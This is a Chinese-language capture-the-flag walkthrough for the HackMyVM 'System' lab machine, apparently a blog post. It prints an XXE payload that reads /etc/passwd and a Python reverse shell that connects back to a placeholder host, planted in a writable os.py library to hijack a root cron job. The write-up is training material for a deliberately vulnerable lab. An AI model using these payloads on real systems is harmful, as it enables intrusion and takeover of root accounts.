渗透测试靶场练习——hackmyvm System

靶场来源:公众号:PTEHub,关注公众号:PTEHub 获取最新靶场资源

靶场类型:单局域网

信息收集

使用nmap进行扫描,获取到如下信息 

通过扫描后发现开放了22和80端口,我们访问80端口查看web,发现是一个登录表单页面

抓包分析,发现请求体是xml标签,并且email标签处存在回显

 

测试XXE漏洞读取文件,发现存在XXE漏洞,查看 /etc/passwd 文件,查看到存在 root 和 david用户可以登录

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

 尝试对 david 用户家目录下进行目录爆破得到5个响应长度不一样的文件,通过对文件的筛选,在 .viminfo 文件的下得到一个可疑路径

 

 通过XXE漏洞查看路径下的文件,得到疑似 david 用户的登录密码

 

登录获取FLAG

尝试用获取的密码ssh登录 david  用户,登录成功后,查看 david 目录的下的 user.txt 文件得到 flag

 提权获取FLAG

我们还没有权限访问 root,我们通过sudo -l find / -perm -4000 2>/dev/null 也未能找到有用信息

tips:

/dev/null 是一个特殊的设备文件,这个文件接受到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit bucket)或黑洞。

-perm匹配权限

4000  2000  1000分别表示SUID SGID SBIT

find / -perm -4000 2>/dev/null

就是寻找 4000权限的文件,不显示其他的错误信息相当于过滤

这时我们在kali下载一个pspy工具,(pspy在没有root权限的情况下可以监视linux进程)通过python3的http服务实现文件共享,将pspy工具上传到david用户下并运行

Release Improved troubleshooting · DominicBreuker/pspy · GitHub    pspy下载链接

 通过进程监视,我们发现在后台每分钟会执行一个定时任务,文件路径为/opt/suid.py 执行任务的用户为root用户,我们可以写入反弹shell脚本来获取root权限

查看suid.py文件后发现,该文件为root用户所属,我们没有写入权限,但是在运行时调用了os.py文件

 

whereis python3 查找一下运行python3的所有文件,在/usr/lib/python3.9目录下找到os.py文件

而os.py文件有写入权限

(whereis 即:定位/返回与指定名字匹配的二进制文件、源文件和帮助手册文件所在的路径)

这里我们在os.py文件里写入反弹shell,因为os.py文件是用python语言写的脚本,所以反弹shell也要用python语言

import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('vpsip',vpsport));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);

 最后监听端口,得到 root 用户权限拿到FLAG!!!

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值